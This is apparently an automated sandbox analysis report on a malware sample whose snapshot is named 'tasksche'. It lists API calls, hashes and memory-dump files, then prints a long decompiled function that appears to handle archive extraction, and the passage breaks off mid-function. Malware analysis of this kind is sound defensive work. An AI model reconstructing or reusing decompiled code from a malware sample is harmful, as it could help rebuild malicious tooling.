0x00408ce6
0x00408cdc
0x00408d32

APIs

GetStdHandle.KERNEL32(000000F6,004335AC,?,00000000,?,?,00408EB0,?,00000000,?,?,00000000), ref: 00408CB1
ReadFile.KERNELBASE(?,?,?,00000000,00000000,004335AC,?,00000000,?,?,00408EB0,?,00000000,?,?,00000000), ref: 00408CC9
GetLastError.KERNEL32(?,00408EB0,?,00000000,?,?,00000000), ref: 00408D01
GetLastError.KERNEL32(?,00408EB0,?,00000000,?,?,00000000), ref: 00408D1C

Memory Dump Source

Source File: 00000009.00000002.984441686.0000000000401000.00000020.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Associated: 00000009.00000002.984410654.0000000000400000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984583986.000000000042A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984597321.0000000000430000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000009.00000002.984612136.0000000000435000.00000004.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_9_2_400000_tasksche.jbxd

Similarity

API ID: ErrorLast$FileHandleRead
String ID:
API String ID: 2244327787-0
Opcode ID: c1fed62a9ea2a8515d50b02984c21f09fd940ae1629289a4c1ded04f954c3d6f
Instruction ID: b149f771e66fe820b49a3db0cdc04a66bbf6f60059da98a6e892905e95da3d99
Opcode Fuzzy Hash: c1fed62a9ea2a8515d50b02984c21f09fd940ae1629289a4c1ded04f954c3d6f
Instruction Fuzzy Hash: B411A734504608EFEB205B50DA4096A37A8FF71374B10863FE996A52D1DE3DCD41DF2A

Uniqueness

Uniqueness Score: -1.00%

Function 004076AA Relevance: 6.0, APIs: 2, Strings: 1, Instructions: 792
COMMON

Download Yara Rule

C-Code - Quality: 83%

			E004076AA(intOrPtr __ecx, intOrPtr __edx) {
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t349;
				signed int _t354;
				signed int _t359;
				signed int _t363;
				char _t364;
				intOrPtr _t367;
				signed int _t370;
				char _t373;
				void* _t375;
				signed int _t379;
				signed int _t380;
				intOrPtr _t383;
				char* _t386;
				signed int _t395;
				char _t398;
				intOrPtr _t399;
				intOrPtr _t407;
				signed int _t409;
				intOrPtr _t413;
				signed int _t423;
				intOrPtr _t426;
				char _t434;
				signed int _t440;
				signed int _t445;
				signed int _t446;
				signed int _t452;
				char _t456;
				intOrPtr _t459;
				intOrPtr _t462;
				signed int _t463;
				signed int _t469;
				signed int _t475;
				intOrPtr _t476;
				signed int _t479;
				signed int _t481;
				intOrPtr _t482;
				signed int _t484;
				signed int _t490;
				intOrPtr* _t500;
				char _t502;
				intOrPtr _t504;
				signed int _t510;
				signed int _t515;
				intOrPtr _t572;
				intOrPtr _t593;
				short* _t595;
				signed int _t602;
				signed int _t603;
				intOrPtr _t607;
				intOrPtr _t611;
				void* _t613;

				_t585 = __edx;
				E0041A4DC(E004296C9, _t613);
				E0041AAF0(0x5194);
				_t500 =  *((intOrPtr*)(_t613 + 8));
				_t607 = __ecx;
				_t345 =  *( *((intOrPtr*)(__ecx + 8)) + 0x72b2) & 0x0000ffff;
				 *((intOrPtr*)(_t613 - 0x24)) = __ecx;
				 *(_t613 - 0x18) =  *( *((intOrPtr*)(__ecx + 8)) + 0x72b2) & 0x0000ffff;
				if( *((intOrPtr*)(_t613 + 0xc)) != 0) {
					L5:
					_t593 =  *((intOrPtr*)(_t500 + 0x6544));
					__eflags = _t593 - 2;
					if(_t593 == 2) {
						_t504 =  *((intOrPtr*)(_t607 + 8));
						 *((char*)(_t607 + 0x545d)) = 0;
						__eflags =  *(_t504 + 0x515c);
						if( *(_t504 + 0x515c) != 0) {
							L20:
							 *((char*)(_t613 - 0x10)) = 0;
							_t349 = E0040545B(_t504, _t500 + 0x65e8, _t613 - 0x10, 5, _t613 - 0x51a0, 0x800);
							__eflags = _t349;
							 *(_t613 - 0xe) = _t349 != 0;
							__eflags =  *(_t613 - 0xe);
							if( *(_t613 - 0xe) != 0) {
								__eflags =  *((char*)(_t613 - 0x10));
								if( *((char*)(_t613 - 0x10)) == 0) {
									 *((char*)(_t607 + 0x4459)) = 0;
								}
							}
							E00401A5C(_t500);
							E0040A618(_t607, _t500 + 0x6608, _t613 - 0x2158);
							__eflags =  *((char*)(_t500 + 0x76cb));
							if( *((char*)(_t500 + 0x76cb)) == 0) {
								_t354 = E00401A55(_t500);
								__eflags = _t354;
								if(_t354 != 0) {
									L33:
									 *((char*)(_t607 + 0x21d7)) =  *((intOrPtr*)(_t500 + 0x7671));
									 *((char*)(_t607 + 0x21d8)) = 0;
									_t586 =  *((intOrPtr*)(_t500 + 0xb04c));
									asm("sbb edx, [ebx+0x7634]");
									 *((intOrPtr*)( *_t500 + 0xc))( *((intOrPtr*)(_t500 + 0xb048)) -  *(_t500 + 0x7630),  *((intOrPtr*)(_t500 + 0xb04c)), 0);
									__eflags =  *(_t613 - 0xe);
									 *((char*)(_t613 + 0xf)) = 0;
									 *((char*)(_t613 - 0x1d)) = 0;
									if( *(_t613 - 0xe) != 0) {
										L35:
										_t359 =  *((intOrPtr*)( *((intOrPtr*)(_t607 + 8)) + 0x51c1));
										__eflags = _t359;
										if(_t359 == 0) {
											L38:
											_t510 = 0;
											__eflags = 0;
											L39:
											__eflags = _t359;
											_t363 = L004116E5(_t510, _t613 - 0x2158, (_t359 & 0xffffff00 | _t359 == 0x00000000) & 0x000000ff, _t510,  *((intOrPtr*)(_t613 - 0x1d))); // executed
											__eflags = _t363;
											if(__eflags == 0) {
												L191:
												_t364 = 0;
												L15:
												L16:
												 *[fs:0x0] =  *((intOrPtr*)(_t613 - 0xc));
												return _t364;
											}
											_t595 = _t607 + 0x545e;
											E00406F23(_t607, __eflags, _t500, _t613 - 0x2158, _t595, 0x800);
											__eflags =  *((char*)(_t613 - 0x1d));
											if( *((char*)(_t613 - 0x1d)) != 0) {
												L43:
												 *((char*)(_t613 + 0xf)) = 0;
												L44:
												_t367 =  *((intOrPtr*)(_t607 + 8));
												__eflags =  *((char*)(_t367 + 0x5153));
												if( *((char*)(_t367 + 0x5153)) != 0) {
													L46:
													__eflags =  *(_t613 - 0x18) - 0x45;
													if( *(_t613 - 0x18) == 0x45) {
														L48:
														E004067E1(_t613 - 0x31a0);
														_push(0);
														_t370 = E004096BC(_t586, _t595, _t613 - 0x31a0);
														__eflags = _t370;
														if(_t370 == 0) {
															__eflags =  *((char*)( *((intOrPtr*)(_t607 + 8)) + 0x5153));
															L53:
															if(__eflags == 0) {
																L55:
																__eflags =  *((char*)(_t500 + 0x7673));
																if( *((char*)(_t500 + 0x7673)) == 0) {
																	L60:
																	_t373 = E00407650(_t500, _t613 - 0x2158);
																	__eflags = _t373;
																	if(_t373 == 0) {
																		 *((char*)(_t613 + 0xf)) = _t373;
																		E004062BA(0x4335ac, 2);
																	}
																	_t515 = 0x40;
																	_t375 = memcpy(_t613 - 0x134,  *((intOrPtr*)( *((intOrPtr*)(_t613 - 0x24)) + 8)) + 0x4024, _t515 << 2);
																	asm("movsw");
																	 *(_t613 - 4) =  *(_t613 - 4) & 0x00000000;
																	asm("sbb edx, edx");
																	_t590 =  ~( *(_t500 + 0x7678) & 0x000000ff) & _t500 + 0x00007679;
																	 *((intOrPtr*)(_t613 - 0x28)) = _t375 + 0x10;
																	E0040B883(_t375 + 0x10, 0,  *((intOrPtr*)(_t500 + 0x7674)), _t613 - 0x134,  ~( *(_t500 + 0x7678) & 0x000000ff) & _t500 + 0x00007679, _t500 + 0x7689,  *((intOrPtr*)(_t500 + 0x76c4)), _t500 + 0x76a3, _t613 - 0x30);
																	__eflags =  *((char*)(_t500 + 0x7673));
																	if( *((char*)(_t500 + 0x7673)) != 0) {
																		__eflags =  *((char*)(_t500 + 0x7699));
																		if( *((char*)(_t500 + 0x7699)) != 0) {
																			_t469 = E0041AC04(_t500 + 0x769a, _t613 - 0x30, 8);
																			__eflags = _t469;
																			if(_t469 != 0) {
																				__eflags =  *((char*)(_t500 + 0xb064));
																				if( *((char*)(_t500 + 0xb064)) == 0) {
																					E00406376(6, _t500 + 0x1e);
																					E004062BA(0x4335ac, 0xb);
																					 *((char*)(_t613 + 0xf)) = 0;
																				}
																			}
																		}
																	}
																	_t522 = _t613 - 0x1158;
																	E00408786(_t613 - 0x1158);
																	_t379 =  *(_t500 + 0x76d8);
																	__eflags = _t379;
																	 *((char*)(_t613 - 0x11)) = _t379 != 0;
																	__eflags =  *((char*)(_t613 - 0x11));
																	 *(_t613 - 4) = 1;
																	if( *((char*)(_t613 - 0x11)) == 0) {
																		L77:
																		_t522 = _t500;
																		_t380 = E00401A55(_t500);
																		__eflags = _t380;
																		if(_t380 == 0) {
																			__eflags =  *((char*)(_t613 + 0xf));
																			if( *((char*)(_t613 + 0xf)) == 0) {
																				goto L90;
																			}
																			_t611 =  *((intOrPtr*)(_t613 - 0x24));
																			_t522 = _t611; // executed
																			_t456 = E0040753D(_t611, _t500, _t613 - 0x1158); // executed
																			 *((char*)(_t613 + 0xf)) = _t456;
																			goto L88;
																		}
																		__eflags =  *((char*)(_t613 + 0xf));
																		if( *((char*)(_t613 + 0xf)) == 0) {
																			L85:
																			 *(_t613 - 4) = 0;
																			E00408C7D(_t500, _t613 - 0x1158);
																			 *(_t613 - 4) =  *(_t613 - 4) | 0xffffffff;
																			E0040D111(_t613 - 0x134);
																			goto L14;
																		}
																		__eflags =  *(_t613 - 0x18) - 0x50;
																		if( *(_t613 - 0x18) == 0x50) {
																			goto L85;
																		}
																		__eflags =  *(_t613 - 0x18) - 0x49;
																		if( *(_t613 - 0x18) == 0x49) {
																			goto L85;
																		}
																		__eflags =  *(_t613 - 0x18) - 0x45;
																		if( *(_t613 - 0x18) == 0x45) {
																			goto L85;
																		}
																		_t572 =  *((intOrPtr*)(_t613 - 0x24));
																		_t459 =  *((intOrPtr*)(_t572 + 8));
																		__eflags =  *((intOrPtr*)(_t459 + 0x5158)) - 1;
																		if( *((intOrPtr*)(_t459 + 0x5158)) == 1) {
																			goto L85;
																		}
																		_t143 = _t572 + 0x444c;
																		 *_t143 =  *(_t572 + 0x444c) + 1;
																		__eflags =  *_t143;
																		_push(_t613 - 0x2158);
																		_push(_t500);
																		E00407391(_t572);
																		_t502 = 1;
																		goto L84;
																	} else {
																		__eflags = _t379 - 5;
																		if(_t379 == 5) {
																			goto L77;
																		}
																		__eflags =  *((char*)(_t613 + 0xf));
																		if( *((char*)(_t613 + 0xf)) == 0) {
																			L90:
																			_t611 =  *((intOrPtr*)(_t613 - 0x24));
																			L91:
																			__eflags =  *((char*)(_t500 + 0xb054));
																			if( *((char*)(_t500 + 0xb054)) == 0) {
																				__eflags =  *((char*)(_t613 + 0xf));
																				if( *((char*)(_t613 + 0xf)) == 0) {
																					L184:
																					 *(_t613 - 4) = 0;
																					E00408C7D(_t500, _t613 - 0x1158);
																					 *(_t613 - 4) =  *(_t613 - 4) | 0xffffffff;
																					E0040D111(_t613 - 0x134);
																					__eflags =  *(_t613 - 0xe);
																					if( *(_t613 - 0xe) != 0) {
																						_t333 = _t611 + 0x4454;
																						 *_t333 =  *(_t611 + 0x4454) + 1;
																						__eflags =  *_t333;
																					}
																					L186:
																					_t383 =  *((intOrPtr*)(_t613 - 0x24));
																					__eflags =  *((char*)(_t383 + 0x21d8));
																					if( *((char*)(_t383 + 0x21d8)) != 0) {
																						goto L191;
																					}
																					__eflags =  *((char*)(_t613 + 0xf));
																					if( *((char*)(_t613 + 0xf)) != 0) {
																						L14:
																						_t364 = 1;
																						goto L15;
																					}
																					__eflags =  *((char*)(_t500 + 0xb054));
																					if( *((char*)(_t500 + 0xb054)) != 0) {
																						__eflags =  *((char*)(_t613 - 0x1d));
																						if( *((char*)(_t613 - 0x1d)) != 0) {
																							goto L14;
																						}
																						goto L191;
																					}
																					L189:
																					E004010C0(_t500);
																					goto L14;
																				}
																				L95:
																				_t386 =  *((intOrPtr*)(_t611 + 8)) + 0x51c1;
																				__eflags =  *_t386;
																				if( *_t386 == 0) {
																					L97:
																					__eflags =  *((char*)(_t613 - 0x1d));
																					if( *((char*)(_t613 - 0x1d)) != 0) {
																						L125:
																						__eflags =  *((char*)(_t613 - 0x1d));
																						 *((char*)(_t613 - 0xf)) = 1;
																						if( *((char*)(_t613 - 0x1d)) != 0) {
																							L102:
																							 *((intOrPtr*)(_t611 + 0x4450)) =  *((intOrPtr*)(_t611 + 0x4450)) + 1;
																							 *((intOrPtr*)(_t611 + 0x21f8)) = 0;
																							 *((intOrPtr*)(_t611 + 0x21fc)) = 0;
																							 *((intOrPtr*)(_t611 + 0x2200)) = 0;
																							 *((intOrPtr*)(_t611 + 0x2204)) = 0;
																							E00409885(_t611 + 0x38e0,  *((intOrPtr*)(_t500 + 0x7648)),  *((intOrPtr*)( *((intOrPtr*)(_t611 + 8)) + 0x7298)));
																							E00409885(_t611 + 0x2218,  *((intOrPtr*)(_t500 + 0x7648)),  *((intOrPtr*)( *((intOrPtr*)(_t611 + 8)) + 0x7298)));
																							 *(_t611 + 0x30) =  *(_t500 + 0x7630);
																							 *(_t611 + 0x34) =  *(_t500 + 0x7634);
																							E0040B863( *((intOrPtr*)(_t613 - 0x28)), _t500, _t613 - 0x1158);
																							_t395 =  *((intOrPtr*)(_t613 - 0xf));
																							 *(_t611 + 0x39) = _t395;
																							 *((char*)(_t611 + 0x3a)) =  *((intOrPtr*)(_t613 - 0x1d));
																							__eflags = _t395;
																							if(_t395 != 0) {
																								L114:
																								_t531 =  *((intOrPtr*)(_t611 + 8));
																								 *((char*)( *((intOrPtr*)(_t611 + 8)) + 0x5194)) =  *((char*)(_t613 - 0xf));
																								 *((char*)(_t613 - 0x1145)) = _t395 & 0xffffff00 |  *((char*)( *((intOrPtr*)(_t611 + 8)) + 0x5194)) == 0x00000000;
																								if( *((char*)(_t613 - 0xf)) != 0) {
																									L117:
																									 *((char*)(_t613 - 0xd)) = 0;
																									L118:
																									__eflags =  *((char*)(_t613 - 0x11));
																									 *((char*)(_t613 - 0x19)) = 1;
																									 *((char*)(_t613 + 0xb)) = 1;
																									if( *((char*)(_t613 - 0x11)) == 0) {
																										__eflags =  *((char*)(_t500 + 0x7670));
																										if( *((char*)(_t500 + 0x7670)) == 0) {
																											__eflags =  *((char*)(_t500 + 0x6602));
																											if(__eflags != 0) {
																												_push( *(_t500 + 0x76c8) & 0x000000ff);
																												_push( *((intOrPtr*)(_t500 + 0x76cc)));
																												E004126F0( *((intOrPtr*)(_t611 + 0x4448))); // executed
																												_t426 =  *((intOrPtr*)(_t611 + 0x4448));
																												_t590 =  *(_t500 + 0x763c);
																												 *(_t426 + 0x4c40) =  *(_t500 + 0x7638);
																												 *(_t426 + 0x4c44) =  *(_t500 + 0x763c);
																												 *((char*)(_t426 + 0x4c58)) = 0;
																												E00418AFF( *((intOrPtr*)(_t611 + 0x4448)),  *(_t500 + 0x6601) & 0x000000ff,  *(_t500 + 0x76c8) & 0x000000ff); // executed
																											} else {
																												_push( *(_t500 + 0x763c));
																												_push( *(_t500 + 0x7638));
																												_push( *((intOrPtr*)(_t613 - 0x28)));
																												E004071DF(_t590, __eflags);
																											}
																										}
																										L147:
																										E004010C0(_t500);
																										__eflags =  *((char*)(_t500 + 0x7671));
																										if(__eflags != 0) {
																											L150:
																											_t398 = 0;
																											__eflags = 0;
																											L151:
																											__eflags =  *(_t500 + 0x76c8);
																											if( *(_t500 + 0x76c8) != 0) {
																												__eflags =  *((char*)(_t500 + 0x6602));
																												if( *((char*)(_t500 + 0x6602)) == 0) {
																													L159:
																													__eflags =  *((char*)(_t613 - 0x1d));
																													 *((char*)(_t613 - 0xd)) = 0;
																													if( *((char*)(_t613 - 0x1d)) != 0) {
																														L169:
																														__eflags =  *((char*)(_t613 - 0xf));
																														if( *((char*)(_t613 - 0xf)) != 0) {
																															goto L184;
																														}
																														__eflags =  *(_t613 - 0x18) - 0x58;
																														if( *(_t613 - 0x18) == 0x58) {
																															L172:
																															__eflags =  *((char*)(_t613 - 0x11));
																															if( *((char*)(_t613 - 0x11)) == 0) {
																																L175:
																																__eflags =  *((char*)(_t613 - 0xd));
																																if( *((char*)(_t613 - 0xd)) == 0) {
																																	L178:
																																	_t399 =  *((intOrPtr*)(_t611 + 8));
																																	__eflags =  *((char*)(_t399 + 0x5150));
																																	if( *((char*)(_t399 + 0x5150)) != 0) {
																																		_t304 = _t500 + 0x6604;
																																		 *_t304 =  *(_t500 + 0x6604) & 0xffffffdf;
																																		__eflags =  *_t304;
																																	}
																																	asm("sbb ecx, ecx");
																																	asm("sbb ecx, ecx");
																																	asm("sbb ecx, ecx");
																																	E00408D35(_t613 - 0x1158,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x628c)) & _t500 + 0x00007618,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x6290)) & _t500 + 0x00007620,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x6294)) & _t500 + 0x00007628);
																																	E00408A32(_t613 - 0x1158);
																																	asm("sbb ecx, ecx");
																																	asm("sbb ecx, ecx");
																																	E00408C57(_t500 + 0x7618,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x628c)) & _t500 + 0x00007618,  ~( *( *((intOrPtr*)(_t611 + 8)) + 0x6294)) & _t500 + 0x00007628);
																																	_t407 =  *((intOrPtr*)(_t611 + 8));
																																	__eflags =  *((char*)(_t407 + 0x519b));
																																	if( *((char*)(_t407 + 0x519b)) == 0) {
																																		_t409 = E0040908D(_t613 - 0x113a,  *(_t500 + 0x6604));
																																		__eflags = _t409;
																																		if(_t409 == 0) {
																																			E0040639F(0x10, _t500 + 0x1e, _t613 - 0x113a);
																																		}
																																	}
																																	 *((char*)(_t611 + 0x545d)) = 1;
																																	goto L184;
																																}
																																_t413 =  *((intOrPtr*)(_t611 + 8));
																																__eflags =  *((char*)(_t413 + 0x5194));
																																if( *((char*)(_t413 + 0x5194)) == 0) {
																																	goto L184;
																																}
																																E00408C47(_t613 - 0x1158);
																																goto L178;
																															}
																															__eflags =  *(_t500 + 0x76d8) - 5;
																															if( *(_t500 + 0x76d8) != 5) {
																																goto L184;
																															}
																															__eflags =  *((char*)(_t613 + 0xb));
																															if( *((char*)(_t613 + 0xb)) == 0) {
																																goto L184;
																															}
																															goto L175;
																														}
																														__eflags =  *(_t613 - 0x18) - 0x45;
																														if( *(_t613 - 0x18) != 0x45) {
																															goto L184;
																														}
																														goto L172;
																													}
																													__eflags =  *((char*)(_t613 - 0x19));
																													if( *((char*)(_t613 - 0x19)) == 0) {
																														goto L169;
																													}
																													__eflags = _t398;
																													if(_t398 != 0) {
																														goto L169;
																													}
																													__eflags =  *((intOrPtr*)(_t500 + 0x7673)) - _t398;
																													if( *((intOrPtr*)(_t500 + 0x7673)) == _t398) {
																														L167:
																														_push(_t613 - 0x2158);
																														_push(_t500 + 0x1e);
																														_push(3);
																														L168:
																														E0040639F();
																														 *((char*)(_t613 - 0xd)) = 1;
																														E004062BA(0x4335ac, 3);
																														goto L169;
																													}
																													__eflags =  *((intOrPtr*)(_t500 + 0x7699)) - _t398;
																													if( *((intOrPtr*)(_t500 + 0x7699)) == _t398) {
																														L165:
																														__eflags =  *((char*)(_t611 + 0x445b));
																														if( *((char*)(_t611 + 0x445b)) != 0) {
																															goto L167;
																														}
																														_push(_t613 - 0x2158);
																														_push(_t500 + 0x1e);
																														_push(4);
																														goto L168;
																													}
																													__eflags =  *((intOrPtr*)(_t500 + 0xb064)) - _t398;
																													if( *((intOrPtr*)(_t500 + 0xb064)) == _t398) {
																														goto L167;
																													}
																													goto L165;
																												}
																												__eflags =  *(_t500 + 0x763c);
																												if(__eflags < 0) {
																													goto L159;
																												}
																												if(__eflags > 0) {
																													L157:
																													__eflags = _t398;
																													if(_t398 != 0) {
																														 *((char*)(_t611 + 0x445b)) = 1;
																													}
																													goto L159;
																												}
																												__eflags =  *(_t500 + 0x7638);
																												if( *(_t500 + 0x7638) <= 0) {
																													goto L159;
																												}
																												goto L157;
																											}
																											 *((char*)(_t611 + 0x445b)) = 0;
																											goto L159;
																										}
																										asm("sbb ecx, ecx");
																										_t423 = E00409AE9(_t500, _t611 + 0x38e0, _t590, __eflags, _t500 + 0x7648,  ~( *(_t500 + 0x76a2) & 0x000000ff) & _t500 + 0x000076a3);
																										__eflags = _t423;
																										if(_t423 == 0) {
																											goto L150;
																										}
																										_t398 = 1;
																										goto L151;
																									}
																									_t602 =  *(_t500 + 0x76d8);
																									__eflags = _t602 - 4;
																									if(__eflags == 0) {
																										L129:
																										_t560 = _t611;
																										E00406F23(_t611, __eflags, _t500, _t500 + 0x76dc, _t613 - 0x41a0, 0x800);
																										__eflags =  *((char*)(_t613 - 0xd));
																										if( *((char*)(_t613 - 0xd)) == 0) {
																											L135:
																											__eflags =  *((intOrPtr*)(_t500 + 0xb050)) - 2;
																											if( *((intOrPtr*)(_t500 + 0xb050)) != 2) {
																												L138:
																												__eflags =  *((char*)(_t613 - 0xd));
																												if( *((char*)(_t613 - 0xd)) == 0) {
																													L141:
																													_t434 = 0;
																													__eflags = 0;
																													L142:
																													 *((char*)(_t611 + 0x545d)) = _t434;
																													goto L147;
																												}
																												L139:
																												__eflags =  *((char*)(_t613 + 0xb));
																												if( *((char*)(_t613 + 0xb)) == 0) {
																													goto L141;
																												}
																												_t434 = 1;
																												goto L142;
																											}
																											__eflags =  *((char*)(_t613 - 0xd));
																											if( *((char*)(_t613 - 0xd)) != 0) {
																												goto L139;
																											}
																											L137:
																											 *((char*)(_t613 - 0x19)) = 0;
																											goto L138;
																										}
																										__eflags =  *((short*)(_t613 - 0x41a0));
																										if( *((short*)(_t613 - 0x41a0)) == 0) {
																											goto L135;
																										}
																										_push(0x800);
																										_push(_t613 - 0x41a0);
																										_push(_t611 + 0x545e);
																										__eflags = _t602 - 4;
																										if(__eflags != 0) {
																											_push(_t500 + 0x1e);
																											_push(_t613 - 0x1158);
																											_t440 = E00407276(_t590, _t602, __eflags);
																										} else {
																											_t440 = E0040677F(_t560, _t602, __eflags);
																										}
																										L134:
																										 *((char*)(_t613 + 0xb)) = _t440;
																										__eflags = _t440;
																										if(_t440 == 0) {
																											goto L137;
																										}
																										goto L135;
																									}
																									__eflags = _t602 - 5;
																									if(__eflags == 0) {
																										goto L129;
																									}
																									__eflags = _t602 - 1;
																									if(_t602 == 1) {
																										L127:
																										__eflags =  *((char*)(_t613 - 0xd));
																										if( *((char*)(_t613 - 0xd)) == 0) {
																											goto L135;
																										}
																										_push(_t611 + 0x545e);
																										_t440 = E00406CDB(_t531,  *((intOrPtr*)(_t613 - 0x28)), _t500);
																										goto L134;
																									}
																									__eflags = _t602 - 2;
																									if(_t602 == 2) {
																										goto L127;
																									}
																									__eflags = _t602 - 3;
																									if(_t602 == 3) {
																										goto L127;
																									}
																									E0040639F(0x46, _t500 + 0x1e, _t611 + 0x545e);
																									 *((char*)(_t613 + 0xb)) = 0;
																									goto L137;
																								}
																								__eflags =  *((char*)(_t613 - 0x1d));
																								if( *((char*)(_t613 - 0x1d)) != 0) {
																									goto L117;
																								}
																								__eflags =  *(_t613 - 0x18) - 0x50;
																								 *((char*)(_t613 - 0xd)) = 1;
																								if( *(_t613 - 0x18) != 0x50) {
																									goto L118;
																								}
																								goto L117;
																							}
																							__eflags =  *((intOrPtr*)(_t500 + 0xb064)) - _t395;
																							if( *((intOrPtr*)(_t500 + 0xb064)) != _t395) {
																								goto L114;
																							}
																							_t445 =  *(_t500 + 0x7630);
																							_t590 =  *(_t500 + 0x763c);
																							_t603 =  *(_t500 + 0x7638);
																							_t395 = _t445 << 0xb;
																							__eflags = ( *(_t500 + 0x7634) << 0x00000020 | _t445) << 0xb - _t590;
																							if(__eflags < 0) {
																								goto L114;
																							}
																							if(__eflags > 0) {
																								L107:
																								__eflags = _t590;
																								if(__eflags < 0) {
																									L113:
																									_t395 = E00408FBF(_t613 - 0x1158,  *(_t500 + 0x7638),  *(_t500 + 0x763c));
																									goto L114;
																								}
																								if(__eflags > 0) {
																									L110:
																									_t395 = E00408E03(_t500, _t590);
																									__eflags = _t590 -  *(_t500 + 0x7634);
																									if(__eflags < 0) {
																										goto L114;
																									}
																									if(__eflags > 0) {
																										goto L113;
																									}
																									__eflags = _t395 -  *(_t500 + 0x7630);
																									if(_t395 <=  *(_t500 + 0x7630)) {
																										goto L114;
																									}
																									goto L113;
																								}
																								__eflags = _t603 - 0x5f5e100;
																								if(_t603 < 0x5f5e100) {
																									goto L113;
																								}
																								goto L110;
																							}
																							__eflags = _t395 - _t603;
																							if(_t395 <= _t603) {
																								goto L114;
																							}
																							goto L107;
																						}
																						L101:
																						_t176 = _t611 + 0x444c;
																						 *_t176 =  *(_t611 + 0x444c) + 1;
																						__eflags =  *_t176;
																						goto L102;
																					}
																					__eflags =  *(_t613 - 0x18) - 0x50;
																					 *((char*)(_t613 - 0xf)) = 0;
																					if( *(_t613 - 0x18) != 0x50) {
																						_t446 = E00408C5A(_t613 - 0x1158);
																						__eflags = _t446;
																						if(_t446 != 0) {
																							E0040639F(0x3a, _t500 + 0x1e, _t611 + 0x545e);
																							E004064F3(0x4335ac, _t500 + 0x1e, _t611 + 0x545e);
																						}
																					}
																					goto L101;
																				}
																				 *((char*)(_t611 + 0x545d)) = 1;
																				__eflags =  *_t386;
																				if( *_t386 != 0) {
																					goto L125;
																				}
																				goto L97;
																			}
																			 *((char*)(_t613 - 0x1d)) = 1;
																			 *((char*)(_t613 + 0xf)) = 1;
																			_t452 = L004116E5(_t522, _t613 - 0x2158, 0, 0, 1);
																			__eflags = _t452;
																			if(_t452 != 0) {
																				goto L95;
																			}
																			_t502 = 0;
																			L84:
																			 *(_t613 - 4) = 0;
																			E00408C7D(_t502, _t613 - 0x1158);
																			 *(_t613 - 4) =  *(_t613 - 4) | 0xffffffff;
																			E0040D111(_t613 - 0x134);
																			_t364 = _t502;
																			goto L15;
																		}
																		__eflags =  *(_t613 - 0x18) - 0x50;
																		_t611 =  *((intOrPtr*)(_t613 - 0x24));
																		if( *(_t613 - 0x18) == 0x50) {
																			L88:
																			__eflags =  *((char*)(_t613 + 0xf));
																			if( *((char*)(_t613 + 0xf)) != 0) {
																				goto L95;
																			}
																			goto L91;
																		}
																		_t462 =  *((intOrPtr*)(_t611 + 8));
																		__eflags =  *((char*)(_t462 + 0x51c1));
																		if( *((char*)(_t462 + 0x51c1)) != 0) {
																			goto L88;
																		}
																		_t605 = _t611 + 0x545e;
																		 *((char*)(_t613 + 0xb)) = 0;
																		_t463 = E004092A5(_t611 + 0x545e);
																		__eflags = _t463;
																		if(_t463 == 0) {
																			L75:
																			__eflags =  *((char*)(_t613 + 0xb));
																			if( *((char*)(_t613 + 0xb)) == 0) {
																				goto L88;
																			}
																			L76:
																			 *((char*)(_t613 + 0xf)) = 0;
																			goto L88;
																		}
																		__eflags =  *((char*)(_t613 + 0xb));
																		if( *((char*)(_t613 + 0xb)) != 0) {
																			goto L76;
																		}
																		E004086BE( *((intOrPtr*)(_t611 + 8)), 0, _t605, 0x800, _t613 + 0xb,  *(_t500 + 0x7638),  *(_t500 + 0x763c), _t500 + 0x7618, 0);
																		goto L75;
																	}
																}
																_t475 = E0040733E(_t607, _t500, _t613 - 0x2158);
																__eflags = _t475;
																if(_t475 != 0) {
																	_t476 =  *((intOrPtr*)(_t607 + 8));
																	__eflags =  *((char*)(_t476 + 0x4124));
																	if( *((char*)(_t476 + 0x4124)) == 0) {
																		E004062BA(0x4335ac, 1);
																		 *((char*)(_t613 + 0xf)) = 0;
																	}
																	goto L60;
																}
																 *((char*)(_t607 + 0x645e)) = 1;
																goto L191;
															}
															L54:
															 *((char*)(_t613 + 0xf)) = 0;
															goto L55;
														}
														_t479 = E00407048(_t613 - 0x2190, _t500 + 0x7618);
														__eflags = _t479;
														if(_t479 == 0) {
															goto L55;
														}
														__eflags =  *((char*)(_t613 - 0x2194));
														if( *((char*)(_t613 - 0x2194)) == 0) {
															goto L54;
														} else {
															__eflags = E0040702A(_t613 - 0x2190, _t607);
															goto L53;
														}
													}
													__eflags =  *(_t613 - 0x18) - 0x58;
													if( *(_t613 - 0x18) != 0x58) {
														goto L55;
													}
													goto L48;
												}
												__eflags =  *((char*)(_t367 + 0x5154));
												if( *((char*)(_t367 + 0x5154)) == 0) {
													goto L55;
												}
												goto L46;
											}
											__eflags =  *_t595;
											if( *_t595 == 0) {
												goto L43;
											}
											__eflags =  *((char*)(_t500 + 0x7670));
											 *((char*)(_t613 + 0xf)) = 1;
											if( *((char*)(_t500 + 0x7670)) == 0) {
												goto L44;
											}
											goto L43;
										}
										__eflags =  *(_t613 - 0x18) - 0x49;
										if( *(_t613 - 0x18) == 0x49) {
											goto L38;
										} else {
											_t510 = 1;
											goto L39;
										}
									}
									_t481 =  *((intOrPtr*)(_t500 + 0xb054));
									 *((char*)(_t613 - 0x1d)) = _t481;
									__eflags = _t481;
									if(_t481 == 0) {
										goto L186;
									}
									goto L35;
								}
								_t482 =  *((intOrPtr*)(_t607 + 8));
								__eflags =  *((intOrPtr*)(_t482 + 0x6284)) - 1;
								if( *((intOrPtr*)(_t482 + 0x6284)) <= 1) {
									goto L33;
								}
								L32:
								 *(_t613 - 0xe) = 0;
								goto L33;
							}
							_t484 =  *( *((intOrPtr*)(_t607 + 8)) + 0x6284);
							__eflags = _t484 - 1;
							if(_t484 == 1) {
								goto L33;
							}
							__eflags =  *((char*)(_t613 - 0x10));
							if( *((char*)(_t613 - 0x10)) != 0) {
								goto L33;
							} else {
								__eflags = _t484;
								if(__eflags == 0) {
									 *(_t613 - 0xe) = _t484;
								}
								_push(0);
